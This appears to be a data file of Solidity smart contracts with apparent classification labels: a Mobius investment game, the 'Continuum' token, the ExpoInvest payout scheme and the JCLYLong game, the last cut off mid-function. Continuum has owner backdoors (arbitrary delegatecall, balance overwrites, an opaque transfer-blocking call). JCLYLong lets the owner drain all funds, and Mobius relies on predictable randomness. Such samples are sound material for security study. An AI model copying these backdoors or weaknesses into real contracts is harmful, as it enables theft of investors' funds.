function _purchase(MobiusRound storage rnd, uint value, address ref) internal {
require(rnd.softDeadline >= now, "After deadline!");
require(value >= rnd.price/10, "Not enough Ether!");
rnd.totalInvested = add(rnd.totalInvested, value);
if(value >= rnd.price)
rnd.lastInvestor = msg.sender;
_airDrop(rnd, value);
_splitRevenue(rnd, value, ref);
_updateReturns(msg.sender, rnd);
uint newShares = _issueShares(rnd, msg.sender, value);
if(rounds.length == 1) {
token.mint(msg.sender, newShares);
}
uint timeIncreases = newShares/WAD;
uint newDeadline = add(rnd.softDeadline, mul(timeIncreases, TIME_PER_SHARE));
rnd.softDeadline = min(newDeadline, now + SOFT_DEADLINE_DURATION);
if(now > rnd.hardDeadline) {
if(now > rnd.lastPriceIncreaseTime + PRICE_INCREASE_PERIOD) {
rnd.price = rnd.price * 2;
rnd.lastPriceIncreaseTime = now;
}
}
}
function _finalizeRound(MobiusRound storage rnd) internal {
require(!rnd.finalized, "Already finalized!");
require(rnd.softDeadline < now, "Round still running!");
if(rounds.length == 1) {
require(token.finishMinting(), "Couldn't finish minting tokens!");
}
vaults[rnd.lastInvestor].totalReturns = add(vaults[rnd.lastInvestor].totalReturns, rnd.jackpot);
unclaimedReturns = add(unclaimedReturns, rnd.jackpot);
emit JackpotWon(rnd.lastInvestor, rnd.jackpot);
totalJackpotsWon += rnd.jackpot;
jackpotSeed = add(jackpotSeed, wmul(rnd.totalInvested, JACKPOT_SEED_FRACTION));
jackpotSeed = add(jackpotSeed, rnd.airdropPot);
if(upgraded) {
vaults[nextVersion].totalReturns = jackpotSeed;
jackpotSeed = 0;
}
uint _div;
if(rounds.length == 1){
_div = wmul(rnd.totalInvested, 2 * 10**16);
} else {
_div = wmul(rnd.totalInvested, DIVIDENDS_FRACTION);
}
token.disburseDividends.value(_div)();
totalDividendsPaid += _div;
totalSharesSold += rnd.totalShares;
totalEarningsGenerated += wmul(rnd.totalInvested, RETURNS_FRACTION);
rnd.finalized = true;
}
function _updateReturns(address _investor, MobiusRound storage rnd) internal {
if(rnd.investors[_investor].shares == 0) {
return;
}
uint outstanding = _outstandingReturns(_investor, rnd);
if (outstanding > 0) {
vaults[_investor].totalReturns = add(vaults[_investor].totalReturns, outstanding);
}
rnd.investors[_investor].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
function _outstandingReturns(address _investor, MobiusRound storage rnd) internal view returns(uint) {
if(rnd.investors[_investor].shares == 0) {
return 0;
}
uint newReturns = sub(
rnd.cumulativeReturnsPoints,
rnd.investors[_investor].lastCumulativeReturnsPoints
);
uint outstanding = 0;
if(newReturns != 0) {
outstanding = mul(newReturns, rnd.investors[_investor].shares) / MULTIPLIER;
}
return outstanding;
}
function _splitRevenue(MobiusRound storage rnd, uint value, address ref) internal {
uint roundReturns;
uint returnsOffset;
if(rounds.length == 1){
returnsOffset = 13 * 10**16;
}
if(ref != address(0x0)) {
roundReturns = wmul(value, RETURNS_FRACTION - REFERRAL_FRACTION - returnsOffset);
uint _ref = wmul(value, REFERRAL_FRACTION);
vaults[ref].totalReturns = add(vaults[ref].totalReturns, _ref);
vaults[ref].refReturns = add(vaults[ref].refReturns, _ref);
unclaimedReturns = add(unclaimedReturns, _ref);
} else {
roundReturns = wmul(value, RETURNS_FRACTION - returnsOffset);
}
uint airdrop = wmul(value, AIRDROP_FRACTION);
uint jackpot = wmul(value, JACKPOT_FRACTION);
uint dev;
if(rounds.length == 1){
dev = value / 4;
raisedICO += dev;
} else {
dev = value / DEV_DIVISOR;
}
if(rnd.totalShares == 0) {
rnd.jackpot = add(rnd.jackpot, roundReturns);
} else {
_disburseReturns(rnd, roundReturns);
}
rnd.airdropPot = add(rnd.airdropPot, airdrop);
rnd.jackpot = add(rnd.jackpot, jackpot);
devBalance = add(devBalance, dev);
}
function _disburseReturns(MobiusRound storage rnd, uint value) internal {
unclaimedReturns = add(unclaimedReturns, value);
if(rnd.totalShares == 0) {
rnd.cumulativeReturnsPoints = mul(value, MULTIPLIER) / wdiv(value, rnd.price);
} else {
rnd.cumulativeReturnsPoints = add(
rnd.cumulativeReturnsPoints,
mul(value, MULTIPLIER) / rnd.totalShares
);
}
}
function _issueShares(MobiusRound storage rnd, address _investor, uint value) internal returns(uint) {
if(rnd.investors[_investor].lastCumulativeReturnsPoints == 0) {
rnd.investors[_investor].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
uint newShares = wdiv(value, rnd.price);
if(value >= 100 ether) {
newShares = mul(newShares, 2);
} else if(value >= 10 ether) {
newShares = add(newShares, newShares/2);
} else if(value >= 1 ether) {
newShares = add(newShares, newShares/3);
} else if(value >= 100 finney) {
newShares = add(newShares, newShares/10);
}
rnd.investors[_investor].shares = add(rnd.investors[_investor].shares, newShares);
rnd.totalShares = add(rnd.totalShares, newShares);
emit SharesIssued(_investor, newShares);
return newShares;
}
function _airDrop(MobiusRound storage rnd, uint value) internal {
require(msg.sender == tx.origin, "ONLY HOOMANS (or scripts that don't use smart contracts)!");
if(value > 100 finney) {
uint chance = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), now)));
if(chance % 200 == 0) {
uint prize = rnd.airdropPot / 2;
rnd.airdropPot = rnd.airdropPot / 2;
vaults[msg.sender].totalReturns = add(vaults[msg.sender].totalReturns, prize);
unclaimedReturns = add(unclaimedReturns, prize);
totalJackpotsWon += prize;
emit AirdropWon(msg.sender, prize);
}
}
}
} | 1 | 3,192 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Continuum is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 183000000000000000000000000;
string public name = "Continuum";
string public symbol = "UM";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _reallyGoHere, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = amount;
emit Transfer(address(0x0), _reallyGoHere[i], amount);
}
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 1,307 |
pragma solidity ^0.4.24;
contract ExpoInvest {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function () payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900;
amount +=amount*((block.number - 6401132)/118000);
address sender = msg.sender;
if (amount > address(this).balance) {sender.send(address(this).balance);}
else sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
address referrer = bytesToAddress(msg.data);
if (invested[referrer] > 0 && referrer != msg.sender) {
invested[msg.sender] += msg.value/10;
invested[referrer] += msg.value/10;
} else {
invested[0x705872bebffA94C20f82E8F2e17E4cCff0c71A2C] += msg.value/10;
}
}
} | 0 | 2,003 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract JCLYLong is Pausable {
using SafeMath for *;
event KeyPurchase(address indexed purchaser, uint256 eth, uint256 amount);
event LeekStealOn();
address private constant WALLET_ETH_COM1 = 0x2509CF8921b95bef38DEb80fBc420Ef2bbc53ce3;
address private constant WALLET_ETH_COM2 = 0x18d9fc8e3b65124744553d642989e3ba9e41a95a;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private ethLimiterRange1_ = 1e20;
uint256 constant private ethLimiterRange2_ = 5e20;
uint256 constant private ethLimiter1_ = 2e18;
uint256 constant private ethLimiter2_ = 7e18;
uint256 constant private whitelistRange_ = 3 days;
uint256 constant private priceStage1_ = 500e18;
uint256 constant private priceStage2_ = 1000e18;
uint256 constant private priceStage3_ = 2000e18;
uint256 constant private priceStage4_ = 4000e18;
uint256 constant private priceStage5_ = 8000e18;
uint256 constant private priceStage6_ = 16000e18;
uint256 constant private priceStage7_ = 32000e18;
uint256 constant private priceStage8_ = 64000e18;
uint256 constant private priceStage9_ = 128000e18;
uint256 constant private priceStage10_ = 256000e18;
uint256 constant private priceStage11_ = 512000e18;
uint256 constant private priceStage12_ = 1024000e18;
uint256 constant private guPhrase1_ = 5 days;
uint256 constant private guPhrase2_ = 7 days;
uint256 constant private guPhrase3_ = 9 days;
uint256 constant private guPhrase4_ = 11 days;
uint256 constant private guPhrase5_ = 13 days;
uint256 constant private guPhrase6_ = 15 days;
uint256 constant private guPhrase7_ = 17 days;
uint256 constant private guPhrase8_ = 19 days;
uint256 constant private guPhrase9_ = 21 days;
uint256 constant private guPhrase10_ = 23 days;
uint256 public contractStartDate_;
uint256 public allMaskGu_;
uint256 public allGuGiven_;
mapping (uint256 => uint256) public playOrders_;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public leekStealPot_;
uint256 public leekStealTracker_ = 0;
uint256 public leekStealToday_;
bool public leekStealOn_;
mapping (uint256 => uint256) public dayStealTime_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => Datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerPhrases)) public plyrPhas_;
uint256 public rID_;
mapping (uint256 => Datasets.Round) public round_;
uint256 public phID_;
mapping (uint256 => Datasets.Phrase) public phrase_;
mapping(address => bool) public whitelisted_Prebuy;
constructor()
public
{
pIDxAddr_[WALLET_ETH_COM1] = 1;
plyr_[1].addr = WALLET_ETH_COM1;
pIDxAddr_[WALLET_ETH_COM2] = 2;
plyr_[2].addr = WALLET_ETH_COM2;
pID_ = 2;
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
buyCore(_pID, plyr_[_pID].laff);
}
function buyXid(uint256 _affID)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
if (_affID == 0 || _affID == _pID || _affID > pID_)
{
_affID = plyr_[_pID].laff;
}
else if (_affID != plyr_[_pID].laff)
{
if (plyr_[_pID].laff == 0)
plyr_[_pID].laff = _affID;
else
_affID = plyr_[_pID].laff;
}
buyCore(_pID, _affID);
}
function reLoadXid()
isActivated()
isHuman()
public
{
uint256 _pID = pIDxAddr_[msg.sender];
require(_pID > 0);
reLoadCore(_pID, plyr_[_pID].laff);
}
function reLoadCore(uint256 _pID, uint256 _affID)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
uint256 _eth = withdrawEarnings(_pID, false);
plyr_[_pID].gen = 0;
core(_rID, _pID, _eth, _affID);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
endRound();
}
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
round_[_rID].ended = true;
endRound();
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
} else {
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
}
}
function updateWhitelist(address[] _addrs, bool _isWhitelisted)
public
onlyOwner
{
for (uint i = 0; i < _addrs.length; i++) {
whitelisted_Prebuy[_addrs[i]] = _isWhitelisted;
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[_addrs[i]] = pID_;
plyr_[pID_].addr = _addrs[i];
}
}
}
function safeDrain()
public
onlyOwner
{
owner.transfer(this.balance);
}
function getPrice()
public
view
returns(uint256)
{
uint256 keys = keysRec(round_[rID_].eth, 1e18);
return (1e36 / keys);
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
uint256 _rID = rID_;
return
(
_rID,
round_[_rID].allkeys,
round_[_rID].keys,
allGuGiven_,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
plyr_[round_[_rID].plyr].addr,
round_[_rID].eth,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getCurrentPhraseInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 _phID = phID_;
return
(
_phID,
phrase_[_phID].eth,
phrase_[_phID].guGiven,
phrase_[_phID].minEthRequired,
phrase_[_phID].guPoolAllocation
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
uint256 _phID = phID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].gu,
plyr_[_pID].laff,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)).add(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth,
plyrPhas_[_pID][_phID].eth,
plyr_[_pID].referEth,
plyr_[_pID].withdraw
);
}
function buyCore(uint256 _pID, uint256 _affID)
whenNotPaused
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
endRound();
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
}
uint256 _availableLimit;
uint256 _refund;
if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_)
{
_availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
} else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_)
{
_availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1e9)
{
uint256 _keys = keysRec(round_[_rID].eth, _eth);
if (_keys >= 1e18)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys);
}
if (_eth >= 1e17)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 1e19)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e18 && _eth < 1e19) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e17 && _eth < 1e18) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
}
airDropTracker_ = 0;
}
}
leekStealGo();
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].playCtr++;
playOrders_[round_[_rID].playCtr] = pID_;
round_[_rID].allkeys = _keys.add(round_[_rID].allkeys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
distributeExternal(_rID, _pID, _eth, _affID);
distributeInternal(_rID, _pID, _eth, _keys);
updateGuReferral(_pID, _affID, _eth);
checkDoubledProfit(_pID, _rID);
checkDoubledProfit(_affID, _rID);
}
}
function checkDoubledProfit(uint256 _pID, uint256 _rID)
private
{
uint256 _keys = plyrRnds_[_pID][_rID].keys;
if (_keys > 0) {
uint256 _balance = (plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd));
if (_balance.add(plyrRnds_[_pID][_rID].genWithdraw) >= (plyrRnds_[_pID][_rID].eth))
{
updateGenVault(_pID, plyr_[_pID].lrnd);
round_[_rID].keys = round_[_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys);
}
}
}
function keysRec(uint256 _curEth, uint256 _newEth)
private
returns (uint256)
{
uint256 _startEth;
uint256 _incrRate;
uint256 _initPrice;
if (_curEth < priceStage1_) {
_startEth = 0;
_initPrice = 33333;
_incrRate = 50000000;
}
else if (_curEth < priceStage2_) {
_startEth = priceStage1_;
_initPrice = 25000;
_incrRate = 50000000;
}
else if (_curEth < priceStage3_) {
_startEth = priceStage2_;
_initPrice = 20000;
_incrRate = 50000000;
}
else if (_curEth < priceStage4_) {
_startEth = priceStage3_;
_initPrice = 12500;
_incrRate = 26666666;
}
else if (_curEth < priceStage5_) {
_startEth = priceStage4_;
_initPrice = 5000;
_incrRate = 17777777;
}
else if (_curEth < priceStage6_) {
_startEth = priceStage5_;
_initPrice = 2500;
_incrRate = 10666666;
}
else if (_curEth < priceStage7_) {
_startEth = priceStage6_;
_initPrice = 1000;
_incrRate = 5688282;
}
else if (_curEth < priceStage8_) {
_startEth = priceStage7_;
_initPrice = 250;
_incrRate = 2709292;
}
else if (_curEth < priceStage9_) {
_startEth = priceStage8_;
_initPrice = 62;
_incrRate = 1161035;
}
else if (_curEth < priceStage10_) {
_startEth = priceStage9_;
_initPrice = 14;
_incrRate = 451467;
}
else if (_curEth < priceStage11_) {
_startEth = priceStage10_;
_initPrice = 2;
_incrRate = 144487;
}
else if (_curEth < priceStage12_) {
_startEth = priceStage11_;
_initPrice = 0;
_incrRate = 40128;
}
else {
_startEth = priceStage12_;
_initPrice = 0;
_incrRate = 40128;
}
return _newEth.mul(((_incrRate.mul(_initPrice)) / (_incrRate.add(_initPrice.mul((_curEth.sub(_startEth))/1e18)))));
}
function updateGuReferral(uint256 _pID, uint256 _affID, uint256 _eth) private {
uint256 _newPhID = updateGuPhrase();
if (phID_ < _newPhID) {
updateReferralMasks(phID_);
plyr_[1].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[1].gu);
plyr_[2].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[2].gu);
phrase_[_newPhID].guGiven = (phrase_[_newPhID].guPoolAllocation / 5).add(phrase_[_newPhID].guGiven);
allGuGiven_ = (phrase_[_newPhID].guPoolAllocation / 5).add(allGuGiven_);
phID_ = _newPhID;
}
if (_affID != 0 && _affID != _pID) {
plyrPhas_[_affID][_newPhID].eth = _eth.add(plyrPhas_[_affID][_newPhID].eth);
plyr_[_affID].referEth = _eth.add(plyr_[_affID].referEth);
phrase_[_newPhID].eth = _eth.add(phrase_[_newPhID].eth);
}
uint256 _remainGuReward = phrase_[_newPhID].guPoolAllocation.sub(phrase_[_newPhID].guGiven);
if (plyrPhas_[_affID][_newPhID].eth >= phrase_[_newPhID].minEthRequired && _remainGuReward >= 1e18) {
uint256 _totalReward = plyrPhas_[_affID][_newPhID].eth / phrase_[_newPhID].minEthRequired;
_totalReward = _totalReward.mul(1e18);
uint256 _rewarded = plyrPhas_[_affID][_newPhID].guRewarded;
uint256 _toReward = _totalReward.sub(_rewarded);
if (_remainGuReward < _toReward) _toReward = _remainGuReward;
if (_toReward > 0) {
plyr_[_affID].gu = _toReward.add(plyr_[_affID].gu);
plyrPhas_[_affID][_newPhID].guRewarded = _toReward.add(plyrPhas_[_affID][_newPhID].guRewarded);
phrase_[_newPhID].guGiven = 1e18.add(phrase_[_newPhID].guGiven);
allGuGiven_ = 1e18.add(allGuGiven_);
}
}
}
function updateReferralMasks(uint256 _phID) private {
uint256 _remainGu = phrase_[phID_].guPoolAllocation.sub(phrase_[phID_].guGiven);
if (_remainGu > 0 && phrase_[_phID].eth > 0) {
uint256 _gpe = (_remainGu.mul(1e18)) / phrase_[_phID].eth;
phrase_[_phID].mask = _gpe.add(phrase_[_phID].mask);
}
}
function transferGu(address _to, uint256 _guAmt)
public
whenNotPaused
returns (bool)
{
uint256 _pIDFrom = pIDxAddr_[msg.sender];
require(plyr_[_pIDFrom].addr == msg.sender);
uint256 _pIDTo = pIDxAddr_[_to];
plyr_[_pIDFrom].gu = plyr_[_pIDFrom].gu.sub(_guAmt);
